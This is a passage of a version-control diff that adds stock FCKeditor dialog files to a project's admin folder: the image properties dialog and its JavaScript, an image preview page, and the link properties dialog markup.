+					<span fcklang="DlgGenLongDescr">Long Description URL</span><br />
+					<input id="txtLongDesc" style="width: 100%" type="text" />
+				</td>
+			</tr>
+			<tr>
+				<td colspan="3">
+					&nbsp;</td>
+			</tr>
+			<tr>
+				<td valign="top">
+					<span fcklang="DlgGenClass">Stylesheet Classes</span><br />
+					<input id="txtAttClasses" style="width: 100%" type="text" />
+				</td>
+				<td>
+				</td>
+				<td valign="top">
+					&nbsp;<span fcklang="DlgGenTitle">Advisory Title</span><br />
+					<input id="txtAttTitle" style="width: 100%" type="text" />
+				</td>
+			</tr>
+		</table>
+		<span fcklang="DlgGenStyle">Style</span><br />
+		<input id="txtAttStyle" style="width: 100%" type="text" />
+	</div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_image/fck_image.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_image/fck_image.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_image/fck_image.js	(revision 44)
@@ -0,0 +1,477 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_image.js
+ * 	Scripts related to the Image dialog window (see fck_image.html).
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var oEditor		= window.parent.InnerDialogLoaded() ;
+var FCK			= oEditor.FCK ;
+var FCKLang		= oEditor.FCKLang ;
+var FCKConfig	= oEditor.FCKConfig ;
+var FCKDebug	= oEditor.FCKDebug ;
+
+var bImageButton = ( document.location.search.length > 0 && document.location.search.substr(1) == 'ImageButton' ) ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'Info', FCKLang.DlgImgInfoTab ) ;
+
+if ( !bImageButton && !FCKConfig.ImageDlgHideLink )
+	window.parent.AddTab( 'Link', FCKLang.DlgImgLinkTab ) ;
+
+if ( FCKConfig.ImageUpload )
+	window.parent.AddTab( 'Upload', FCKLang.DlgLnkUpload ) ;
+
+if ( !FCKConfig.ImageDlgHideAdvanced )
+	window.parent.AddTab( 'Advanced', FCKLang.DlgAdvancedTag ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+	ShowE('divInfo'		, ( tabCode == 'Info' ) ) ;
+	ShowE('divLink'		, ( tabCode == 'Link' ) ) ;
+	ShowE('divUpload'	, ( tabCode == 'Upload' ) ) ;
+	ShowE('divAdvanced'	, ( tabCode == 'Advanced' ) ) ;
+}
+
+// Get the selected image (if available).
+var oImage = FCK.Selection.GetSelectedElement() ;
+
+if ( oImage && oImage.tagName != 'IMG' && !( oImage.tagName == 'INPUT' && oImage.type == 'image' ) )
+	oImage = null ;
+
+// Get the active link.
+var oLink = FCK.Selection.MoveToAncestorNode( 'A' ) ;
+
+var oImageOriginal ;
+
+function UpdateOriginal( resetSize )
+{
+	if ( !eImgPreview )
+		return ;
+	
+	if ( GetE('txtUrl').value.length == 0 )
+	{
+		oImageOriginal = null ;
+		return ;
+	}
+		
+	oImageOriginal = document.createElement( 'IMG' ) ;	// new Image() ;
+
+	if ( resetSize )
+	{
+		oImageOriginal.onload = function()
+		{
+			this.onload = null ;
+			ResetSizes() ;
+		}
+	}
+
+	oImageOriginal.src = eImgPreview.src ;
+}
+
+var bPreviewInitialized ;
+
+window.onload = function()
+{
+	// Translate the dialog box texts.
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	GetE('btnLockSizes').title = FCKLang.DlgImgLockRatio ;
+	GetE('btnResetSize').title = FCKLang.DlgBtnResetSize ;
+
+	// Load the selected element information (if any).
+	LoadSelection() ;
+
+	// Show/Hide the "Browse Server" button.
+	GetE('tdBrowse').style.display				= FCKConfig.ImageBrowser	? '' : 'none' ;
+	GetE('divLnkBrowseServer').style.display	= FCKConfig.LinkBrowser		? '' : 'none' ;
+
+	UpdateOriginal() ;
+
+	// Set the actual uploader URL.
+	if ( FCKConfig.ImageUpload )
+		GetE('frmUpload').action = FCKConfig.ImageUploadURL ;
+
+	window.parent.SetAutoSize( true ) ;
+
+	// Activate the "OK" button.
+	window.parent.SetOkButton( true ) ;
+}
+
+function LoadSelection()
+{
+	if ( ! oImage ) return ;
+
+	var sUrl = oImage.getAttribute( '_fcksavedurl' ) ;
+	if ( sUrl == null )
+		sUrl = GetAttribute( oImage, 'src', '' ) ;
+
+	GetE('txtUrl').value    = sUrl ;
+	GetE('txtAlt').value    = GetAttribute( oImage, 'alt', '' ) ;
+	GetE('txtVSpace').value	= GetAttribute( oImage, 'vspace', '' ) ;
+	GetE('txtHSpace').value	= GetAttribute( oImage, 'hspace', '' ) ;
+	GetE('txtBorder').value	= GetAttribute( oImage, 'border', '' ) ;
+	GetE('cmbAlign').value	= GetAttribute( oImage, 'align', '' ) ;
+
+	var iWidth, iHeight ;
+
+	var regexSize = /^\s*(\d+)px\s*$/i ;
+	
+	if ( oImage.style.width )
+	{
+		var aMatch  = oImage.style.width.match( regexSize ) ;
+		if ( aMatch )
+		{
+			iWidth = aMatch[1] ;
+			oImage.style.width = '' ;
+		}
+	}
+
+	if ( oImage.style.height )
+	{
+		var aMatch  = oImage.style.height.match( regexSize ) ;
+		if ( aMatch )
+		{
+			iHeight = aMatch[1] ;
+			oImage.style.height = '' ;
+		}
+	}
+
+	GetE('txtWidth').value	= iWidth ? iWidth : GetAttribute( oImage, "width", '' ) ;
+	GetE('txtHeight').value	= iHeight ? iHeight : GetAttribute( oImage, "height", '' ) ;
+
+	// Get Advances Attributes
+	GetE('txtAttId').value			= oImage.id ;
+	GetE('cmbAttLangDir').value		= oImage.dir ;
+	GetE('txtAttLangCode').value	= oImage.lang ;
+	GetE('txtAttTitle').value		= oImage.title ;
+	GetE('txtAttClasses').value		= oImage.getAttribute('class',2) || '' ;
+	GetE('txtLongDesc').value		= oImage.longDesc ;
+
+	if ( oEditor.FCKBrowserInfo.IsIE )
+		GetE('txtAttStyle').value	= oImage.style.cssText ;
+	else
+		GetE('txtAttStyle').value	= oImage.getAttribute('style',2) ;
+
+	if ( oLink )
+	{
+		var sUrl = oLink.getAttribute( '_fcksavedurl' ) ;
+		if ( sUrl == null )
+			sUrl = oLink.getAttribute('href',2) ;
+	
+		GetE('txtLnkUrl').value		= sUrl ;
+		GetE('cmbLnkTarget').value	= oLink.target ;
+	}
+
+	UpdatePreview() ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+	if ( GetE('txtUrl').value.length == 0 )
+	{
+		window.parent.SetSelectedTab( 'Info' ) ;
+		GetE('txtUrl').focus() ;
+
+		alert( FCKLang.DlgImgAlertUrl ) ;
+
+		return false ;
+	}
+
+	var bHasImage = ( oImage != null ) ;
+
+	if ( bHasImage && bImageButton && oImage.tagName == 'IMG' )
+	{
+		if ( confirm( 'Do you want to transform the selected image on a image button?' ) )
+			oImage = null ;
+	}
+	else if ( bHasImage && !bImageButton && oImage.tagName == 'INPUT' )
+	{
+		if ( confirm( 'Do you want to transform the selected image button on a simple image?' ) )
+			oImage = null ;
+	}
+	
+	if ( !bHasImage )
+	{
+		if ( bImageButton )
+		{
+			oImage = FCK.EditorDocument.createElement( 'INPUT' ) ;
+			oImage.type = 'image' ;
+			oImage = FCK.InsertElementAndGetIt( oImage ) ;
+		}
+		else
+			oImage = FCK.CreateElement( 'IMG' ) ;
+	}
+	else
+		oEditor.FCKUndo.SaveUndoStep() ;
+	
+	UpdateImage( oImage ) ;
+
+	var sLnkUrl = GetE('txtLnkUrl').value.trim() ;
+
+	if ( sLnkUrl.length == 0 )
+	{
+		if ( oLink )
+			FCK.ExecuteNamedCommand( 'Unlink' ) ;
+	}
+	else
+	{
+		if ( oLink )	// Modifying an existent link.
+			oLink.href = sLnkUrl ;
+		else			// Creating a new link.
+		{
+			if ( !bHasImage )
+				oEditor.FCKSelection.SelectNode( oImage ) ;
+
+			oLink = oEditor.FCK.CreateLink( sLnkUrl ) ;
+
+			if ( !bHasImage )
+			{
+				oEditor.FCKSelection.SelectNode( oLink ) ;
+				oEditor.FCKSelection.Collapse( false ) ;
+			}
+		}
+
+		SetAttribute( oLink, '_fcksavedurl', sLnkUrl ) ;
+		SetAttribute( oLink, 'target', GetE('cmbLnkTarget').value ) ;
+	}
+
+	return true ;
+}
+
+function UpdateImage( e, skipId )
+{
+	e.src = GetE('txtUrl').value ;
+	SetAttribute( e, "_fcksavedurl", GetE('txtUrl').value ) ;
+	SetAttribute( e, "alt"   , GetE('txtAlt').value ) ;
+	SetAttribute( e, "width" , GetE('txtWidth').value ) ;
+	SetAttribute( e, "height", GetE('txtHeight').value ) ;
+	SetAttribute( e, "vspace", GetE('txtVSpace').value ) ;
+	SetAttribute( e, "hspace", GetE('txtHSpace').value ) ;
+	SetAttribute( e, "border", GetE('txtBorder').value ) ;
+	SetAttribute( e, "align" , GetE('cmbAlign').value ) ;
+
+	// Advances Attributes
+
+	if ( ! skipId )
+		SetAttribute( e, 'id', GetE('txtAttId').value ) ;
+
+	SetAttribute( e, 'dir'		, GetE('cmbAttLangDir').value ) ;
+	SetAttribute( e, 'lang'		, GetE('txtAttLangCode').value ) ;
+	SetAttribute( e, 'title'	, GetE('txtAttTitle').value ) ;
+	SetAttribute( e, 'class'	, GetE('txtAttClasses').value ) ;
+	SetAttribute( e, 'longDesc'	, GetE('txtLongDesc').value ) ;
+
+	if ( oEditor.FCKBrowserInfo.IsIE )
+		e.style.cssText = GetE('txtAttStyle').value ;
+	else
+		SetAttribute( e, 'style', GetE('txtAttStyle').value ) ;
+}
+
+var eImgPreview ;
+var eImgPreviewLink ;
+
+function SetPreviewElements( imageElement, linkElement )
+{
+	eImgPreview = imageElement ;
+	eImgPreviewLink = linkElement ;
+
+	UpdatePreview() ;
+	UpdateOriginal() ;
+	
+	bPreviewInitialized = true ;
+}
+
+function UpdatePreview()
+{
+	if ( !eImgPreview || !eImgPreviewLink )
+		return ;
+
+	if ( GetE('txtUrl').value.length == 0 )
+		eImgPreviewLink.style.display = 'none' ;
+	else
+	{
+		UpdateImage( eImgPreview, true ) ;
+
+		if ( GetE('txtLnkUrl').value.trim().length > 0 )
+			eImgPreviewLink.href = 'javascript:void(null);' ;
+		else
+			SetAttribute( eImgPreviewLink, 'href', '' ) ;
+
+		eImgPreviewLink.style.display = '' ;
+	}
+}
+
+var bLockRatio = true ;
+
+function SwitchLock( lockButton )
+{
+	bLockRatio = !bLockRatio ;
+	lockButton.className = bLockRatio ? 'BtnLocked' : 'BtnUnlocked' ;
+	lockButton.title = bLockRatio ? 'Lock sizes' : 'Unlock sizes' ;
+
+	if ( bLockRatio )
+	{
+		if ( GetE('txtWidth').value.length > 0 )
+			OnSizeChanged( 'Width', GetE('txtWidth').value ) ;
+		else
+			OnSizeChanged( 'Height', GetE('txtHeight').value ) ;
+	}
+}
+
+// Fired when the width or height input texts change
+function OnSizeChanged( dimension, value )
+{
+	// Verifies if the aspect ration has to be mantained
+	if ( oImageOriginal && bLockRatio )
+	{
+		var e = dimension == 'Width' ? GetE('txtHeight') : GetE('txtWidth') ;
+		
+		if ( value.length == 0 || isNaN( value ) )
+		{
+			e.value = '' ;
+			return ;
+		}
+
+		if ( dimension == 'Width' )
+			value = value == 0 ? 0 : Math.round( oImageOriginal.height * ( value  / oImageOriginal.width ) ) ;
+		else
+			value = value == 0 ? 0 : Math.round( oImageOriginal.width  * ( value / oImageOriginal.height ) ) ;
+
+		if ( !isNaN( value ) )
+			e.value = value ;
+	}
+
+	UpdatePreview() ;
+}
+
+// Fired when the Reset Size button is clicked
+function ResetSizes()
+{
+	if ( ! oImageOriginal ) return ;
+
+	GetE('txtWidth').value  = oImageOriginal.width ;
+	GetE('txtHeight').value = oImageOriginal.height ;
+
+	UpdatePreview() ;
+}
+
+function BrowseServer()
+{
+	OpenServerBrowser(
+		'Image',
+		FCKConfig.ImageBrowserURL,
+		FCKConfig.ImageBrowserWindowWidth,
+		FCKConfig.ImageBrowserWindowHeight ) ;
+}
+
+function LnkBrowseServer()
+{
+	OpenServerBrowser(
+		'Link',
+		FCKConfig.LinkBrowserURL,
+		FCKConfig.LinkBrowserWindowWidth,
+		FCKConfig.LinkBrowserWindowHeight ) ;
+}
+
+function OpenServerBrowser( type, url, width, height )
+{
+	sActualBrowser = type ;
+	OpenFileBrowser( url, width, height ) ;
+}
+
+var sActualBrowser ;
+
+function SetUrl( url, width, height, alt )
+{
+	if ( sActualBrowser == 'Link' )
+	{
+		GetE('txtLnkUrl').value = url ;
+		UpdatePreview() ;
+	}
+	else
+	{
+		GetE('txtUrl').value = url ;
+		GetE('txtWidth').value = width ? width : '' ;
+		GetE('txtHeight').value = height ? height : '' ;
+
+		if ( alt )
+			GetE('txtAlt').value = alt;
+
+		UpdatePreview() ;
+		UpdateOriginal( true ) ;
+	}
+	
+	window.parent.SetSelectedTab( 'Info' ) ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+	switch ( errorNumber )
+	{
+		case 0 :	// No errors
+			alert( 'Your file has been successfully uploaded' ) ;
+			break ;
+		case 1 :	// Custom error
+			alert( customMsg ) ;
+			return ;
+		case 101 :	// Custom warning
+			alert( customMsg ) ;
+			break ;
+		case 201 :
+			alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+			break ;
+		case 202 :
+			alert( 'Invalid file type' ) ;
+			return ;
+		case 203 :
+			alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+			return ;
+		default :
+			alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+			return ;
+	}
+
+	sActualBrowser = ''
+	SetUrl( fileUrl ) ;
+	GetE('frmUpload').reset() ;
+}
+
+var oUploadAllowedExtRegex	= new RegExp( FCKConfig.ImageUploadAllowedExtensions, 'i' ) ;
+var oUploadDeniedExtRegex	= new RegExp( FCKConfig.ImageUploadDeniedExtensions, 'i' ) ;
+
+function CheckUpload()
+{
+	var sFile = GetE('txtUploadFile').value ;
+	
+	if ( sFile.length == 0 )
+	{
+		alert( 'Please select a file to upload' ) ;
+		return false ;
+	}
+	
+	if ( ( FCKConfig.ImageUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) ||
+		( FCKConfig.ImageUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) )
+	{
+		OnUploadCompleted( 202 ) ;
+		return false ;
+	}
+	
+	return true ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_image/fck_image_preview.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_image/fck_image_preview.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_image/fck_image_preview.html	(revision 44)
@@ -0,0 +1,61 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_image_preview.html
+ * 	Preview page for the Image dialog window.
+ * 	Curiosity: http://en.wikipedia.org/wiki/Lorem_ipsum
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex, nofollow" />
+	<link href="../common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+	<script type="text/javascript">
+
+// Sets the Skin CSS
+document.write( '<link href="' + window.parent.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+if ( window.parent.FCKConfig.BaseHref.length > 0 )
+	document.write( '<base href="' + window.parent.FCKConfig.BaseHref + '">' ) ;
+
+window.onload = function()
+{
+	window.parent.SetPreviewElements( 
+		document.getElementById( 'imgPreview' ),
+		document.getElementById( 'lnkPreview' ) ) ;
+}
+
+	</script>
+</head>
+<body style="color: #000000; background-color: #ffffff">
+	<a id="lnkPreview" onclick="return false;" style="cursor: default">
+		<img id="imgPreview" onload="window.parent.UpdateOriginal();" style="display: none" /></a>Lorem
+	ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas feugiat consequat diam.
+	Maecenas metus. Vivamus diam purus, cursus a, commodo non, facilisis vitae, nulla.
+	Aenean dictum lacinia tortor. Nunc iaculis, nibh non iaculis aliquam, orci felis
+	euismod neque, sed ornare massa mauris sed velit. Nulla pretium mi et risus. Fusce
+	mi pede, tempor id, cursus ac, ullamcorper nec, enim. Sed tortor. Curabitur molestie.
+	Duis velit augue, condimentum at, ultrices a, luctus ut, orci. Donec pellentesque
+	egestas eros. Integer cursus, augue in cursus faucibus, eros pede bibendum sem,
+	in tempus tellus justo quis ligula. Etiam eget tortor. Vestibulum rutrum, est ut
+	placerat elementum, lectus nisl aliquam velit, tempor aliquam eros nunc nonummy
+	metus. In eros metus, gravida a, gravida sed, lobortis id, turpis. Ut ultrices,
+	ipsum at venenatis fringilla, sem nulla lacinia tellus, eget aliquet turpis mauris
+	non enim. Nam turpis. Suspendisse lacinia. Curabitur ac tortor ut ipsum egestas
+	elementum. Nunc imperdiet gravida mauris.
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_link.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_link.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_link.html	(revision 44)
@@ -0,0 +1,289 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_link.html
+ * 	Link dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+	<head>
+		<title>Link Properties</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+		<meta name="robots" content="noindex, nofollow" />
+		<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+		<script src="fck_link/fck_link.js" type="text/javascript"></script>
+	</head>
+	<body scroll="no" style="OVERFLOW: hidden">
+		<div id="divInfo" style="DISPLAY: none">
+			<span fckLang="DlgLnkType">Link Type</span><br />
+			<select id="cmbLinkType" onchange="SetLinkType(this.value);">
+				<option value="url" fckLang="DlgLnkTypeURL" selected="selected">URL</option>
+				<option value="anchor" fckLang="DlgLnkTypeAnchor">Anchor in this page</option>
+				<option value="email" fckLang="DlgLnkTypeEMail">E-Mail</option>
+			</select>
+			<br />
+			<br />
+			<div id="divLinkTypeUrl">
+				<table cellspacing="0" cellpadding="0" width="100%" border="0" dir="ltr">
+					<tr>
+						<td nowrap="nowrap">
+							<span fckLang="DlgLnkProto">Protocol</span><br />
+							<select id="cmbLinkProtocol">
+								<option value="http://" selected="selected">http://</option>
+								<option value="https://">https://</option>
+								<option value="ftp://">ftp://</option>
+								<option value="news://">news://</option>
+								<option value="" fckLang="DlgLnkProtoOther">&lt;other&gt;</option>
+							</select>
+						</td>
+						<td nowrap="nowrap">&nbsp;</td>
+						<td nowrap="nowrap" width="100%">
+							<span fckLang="DlgLnkURL">URL</span><br />
+							<input id="txtUrl" style="width: 100%" type="text" onkeyup="OnUrlChange();" onchange="OnUrlChange();" />
+						</td>
+					</tr>
+				</table>
+				<br />
+				<div id="divBrowseServer">
+				<input type="button" value="Browse Server" fckLang="DlgBtnBrowseServer" onclick="BrowseServer();" />
+				</div>
+			</div>
+			<div id="divLinkTypeAnchor" style="DISPLAY: none" align="center">
+				<div id="divSelAnchor" style="DISPLAY: none">
+					<table cellspacing="0" cellpadding="0" border="0" width="70%">
+						<tr>
+							<td colspan="3">
+								<span fckLang="DlgLnkAnchorSel">Select an Anchor</span>
+							</td>
+						</tr>
+						<tr>
+							<td width="50%">
+								<span fckLang="DlgLnkAnchorByName">By Anchor Name</span><br />
+								<select id="cmbAnchorName" onchange="GetE('cmbAnchorId').value='';" style="width: 100%">
+									<option value="" selected="selected"></option>
+								</select>
+							</td>
+							<td>&nbsp;&nbsp;&nbsp;</td>
+							<td width="50%">
+								<span fckLang="DlgLnkAnchorById">By Element Id</span><br />
+								<select id="cmbAnchorId" onchange="GetE('cmbAnchorName').value='';" style="width: 100%">
+									<option value="" selected="selected"></option>
+								</select>
+							</td>
+						</tr>
+					</table>
+				</div>
+				<div id="divNoAnchor" style="DISPLAY: none">
+					<span fckLang="DlgLnkNoAnchors">&lt;No anchors available in the document&gt;</span>
+				</div>
+			</div>
+			<div id="divLinkTypeEMail" style="DISPLAY: none">
+				<span fckLang="DlgLnkEMail">E-Mail Address</span><br />
+				<input id="txtEMailAddress" style="width: 100%" type="text" /><br />
+				<span fckLang="DlgLnkEMailSubject">Message Subject</span><br />
+				<input id="txtEMailSubject" style="width: 100%" type="text" /><br />
+				<span fckLang="DlgLnkEMailBody">Message Body</span><br />
+				<textarea id="txtEMailBody" style="width: 100%" rows="3" cols="20"></textarea>
+			</div>
+		</div>
+		<div id="divUpload" style="DISPLAY: none">
+			<form id="frmUpload" method="post" target="UploadWindow" enctype="multipart/form-data" action="" onsubmit="return CheckUpload();">
+				<span fckLang="DlgLnkUpload">Upload</span><br />
+				<input id="txtUploadFile" style="width: 100%" type="file" size="40" name="NewFile" /><br />
+				<br />
+				<input id="btnUpload" type="submit" value="Send it to the Server" fckLang="DlgLnkBtnUpload" />
+				<iframe name="UploadWindow" style="DISPLAY: none" src="../fckblank.html"></iframe> 
+			</form>
+		</div>
+		<div id="divTarget" style="DISPLAY: none">
+			<table cellspacing="0" cellpadding="0" width="100%" border="0">
+				<tr>
+					<td nowrap="nowrap">
+						<span fckLang="DlgLnkTarget">Target</span><br />
+						<select id="cmbTarget" onchange="SetTarget(this.value);">
+							<option value="" fckLang="DlgGenNotSet" selected="selected">&lt;not set&gt;</option>
+							<option value="frame" fckLang="DlgLnkTargetFrame">&lt;frame&gt;</option>
+							<option value="popup" fckLang="DlgLnkTargetPopup">&lt;popup window&gt;</option>
+							<option value="_blank" fckLang="DlgLnkTargetBlank">New Window (_blank)</option>
+							<option value="_top" fckLang="DlgLnkTargetTop">Topmost Window (_top)</option>
+							<option value="_self" fckLang="DlgLnkTargetSelf">Same Window (_self)</option>
+							<option value="_parent" fckLang="DlgLnkTargetParent">Parent Window (_parent)</option>
+						</select>
+					</td>
+					<td>&nbsp;</td>
+					<td id="tdTargetFrame" nowrap="nowrap" width="100%">
+						<span fckLang="DlgLnkTargetFrameName">Target Frame Name</span><br />
+						<input id="txtTargetFrame" style="width: 100%" type="text" onkeyup="OnTargetNameChange();"
+							onchange="OnTargetNameChange();" />
+					</td>
+					<td id="tdPopupName" style="DISPLAY: none" nowrap="nowrap" width="100%">
+						<span fckLang="DlgLnkPopWinName">Popup Window Name</span><br />
+						<input id="txtPopupName" style="width: 100%" type="text" />
+					</td>
+				</tr>
+			</table>
+			<br />
+			<table id="tablePopupFeatures" style="DISPLAY: none" cellspacing="0" cellpadding="0" align="center"
+				border="0">
+				<tr>
+					<td>
+						<span fckLang="DlgLnkPopWinFeat">Popup Window Features</span><br />
+						<table cellspacing="0" cellpadding="0" border="0">
+							<tr>
+								<td valign="top" nowrap="nowrap" width="50%">
+									<input id="chkPopupResizable" name="chkFeature" value="resizable" type="checkbox" /><label for="chkPopupResizable" fckLang="DlgLnkPopResize">Resizable</label><br />
+									<input id="chkPopupLocationBar" name="chkFeature" value="location" type="checkbox" /><label for="chkPopupLocationBar" fckLang="DlgLnkPopLocation">Location 
+										Bar</label><br />
+									<input id="chkPopupManuBar" name="chkFeature" value="menubar" type="checkbox" /><label for="chkPopupManuBar" fckLang="DlgLnkPopMenu">Menu 
+										Bar</label><br />
+									<input id="chkPopupScrollBars" name="chkFeature" value="scrollbars" type="checkbox" /><label for="chkPopupScrollBars" fckLang="DlgLnkPopScroll">Scroll 
+										Bars</label>
+								</td>
+								<td></td>
+								<td valign="top" nowrap="nowrap" width="50%">
+									<input id="chkPopupStatusBar" name="chkFeature" value="status" type="checkbox" /><label for="chkPopupStatusBar" fckLang="DlgLnkPopStatus">Status 
+										Bar</label><br />
+									<input id="chkPopupToolbar" name="chkFeature" value="toolbar" type="checkbox" /><label for="chkPopupToolbar" fckLang="DlgLnkPopToolbar">Toolbar</label><br />
+									<input id="chkPopupFullScreen" name="chkFeature" value="fullscreen" type="checkbox" /><label for="chkPopupFullScreen" fckLang="DlgLnkPopFullScrn">Full 
+										Screen (IE)</label><br />
+									<input id="chkPopupDependent" name="chkFeature" value="dependent" type="checkbox" /><label for="chkPopupDependent" fckLang="DlgLnkPopDependent">Dependent 
+										(Netscape)</label>
+								</td>
+							</tr>
+							<tr>
+								<td valign="top" nowrap="nowrap" width="50%">&nbsp;</td>
+								<td></td>
+								<td valign="top" nowrap="nowrap" width="50%"></td>
+							</tr>
+							<tr>
+								<td valign="top">
+									<table cellspacing="0" cellpadding="0" border="0">
+										<tr>
+											<td nowrap="nowrap"><span fckLang="DlgLnkPopWidth">Width</span></td>
+											<td>&nbsp;<input id="txtPopupWidth" type="text" maxlength="4" size="4" /></td>
+										</tr>
+										<tr>
+											<td nowrap="nowrap"><span fckLang="DlgLnkPopHeight">Height</span></td>
+											<td>&nbsp;<input id="txtPopupHeight" type="text" maxlength="4" size="4" /></td>
+										</tr>
+									</table>
+								</td>
+								<td>&nbsp;&nbsp;</td>
+								<td valign="top">
+									<table cellspacing="0" cellpadding="0" border="0">
+										<tr>
+											<td nowrap="nowrap"><span fckLang="DlgLnkPopLeft">Left Position</span></td>
+											<td>&nbsp;<input id="txtPopupLeft" type="text" maxlength="4" size="4" /></td>
+										</tr>
+										<tr>
+											<td nowrap="nowrap"><span fckLang="DlgLnkPopTop">Top Position</span></td>
+											<td>&nbsp;<input id="txtPopupTop" type="text" maxlength="4" size="4" /></td>
+										</tr>
+									</table>
+								</td>
+							</tr>
+						</table>
+					</td>
+				</tr>
+			</table>
+		</div>
+		<div id="divAttribs" style="DISPLAY: none">
+			<table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+				<tr>
+					<td valign="top" width="50%">
+						<span fckLang="DlgGenId">Id</span><br />
+						<input id="txtAttId" style="width: 100%" type="text" />
+					</td>
+					<td width="1"></td>
+					<td valign="top">
+						<table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+							<tr>
+								<td width="60%">
+									<span fckLang="DlgGenLangDir">Language Direction</span><br />
+									<select id="cmbAttLangDir" style="width: 100%">
+										<option value="" fckLang="DlgGenNotSet" selected>&lt;not set&gt;</option>
+										<option value="ltr" fckLang="DlgGenLangDirLtr">Left to Right (LTR)</option>
+										<option value="rtl" fckLang="DlgGenLangDirRtl">Right to Left (RTL)</option>
+									</select>
+								</td>
+								<td width="1%">&nbsp;&nbsp;&nbsp;</td>
+								<td nowrap="nowrap"><span fckLang="DlgGenAccessKey">Access Key</span><br />
+									<input id="txtAttAccessKey" style="width: 100%" type="text" maxlength="1" size="1" />
+								</td>
+							</tr>
+						</table>
+					</td>
+				</tr>
+				<tr>
+					<td valign="top" width="50%">
+						<span fckLang="DlgGenName">Name</span><br />
+						<input id="txtAttName" style="width: 100%" type="text" />
+					</td>
+					<td width="1"></td>
+					<td valign="top">
+						<table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+							<tr>
+								<td width="60%">
+									<span fckLang="DlgGenLangCode">Language Code</span><br />
+									<input id="txtAttLangCode" style="width: 100%" type="text" />
+								</td>
+								<td width="1%">&nbsp;&nbsp;&nbsp;</td>
+								<td nowrap="nowrap">
+									<span fckLang="DlgGenTabIndex">Tab Index</span><br />
+									<input id="txtAttTabIndex" style="width: 100%" type="text" maxlength="5" size="5" />
+								</td>
+							</tr>
+						</table>
+					</td>
+				</tr>
+				<tr>
+					<td valign="top" width="50%">&nbsp;</td>
+					<td width="1"></td>
+					<td valign="top"></td>
+				</tr>
+				<tr>
+					<td valign="top" width="50%">
+						<span fckLang="DlgGenTitle">Advisory Title</span><br />
+						<input id="txtAttTitle" style="width: 100%" type="text" />
+					</td>
+					<td width="1">&nbsp;&nbsp;&nbsp;</td>
+					<td valign="top">
+						<span fckLang="DlgGenContType">Advisory Content Type</span><br />
+						<input id="txtAttContentType" style="width: 100%" type="text" />
+					</td>
+				</tr>
+				<tr>
+					<td valign="top">
+						<span fckLang="DlgGenClass">Stylesheet Classes</span><br />
+						<input id="txtAttClasses" style="width: 100%" type="text" />
+					</td>
+					<td></td>
+					<td valign="top">
+						<span fckLang="DlgGenLinkCharset">Linked Resource Charset</span><br />
+						<input id="txtAttCharSet" style="width: 100%" type="text" />
+					</td>
+				</tr>
+			</table>
+			<table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+				<tr>
+					<td>
+						<span fckLang="DlgGenStyle">Style</span><br />
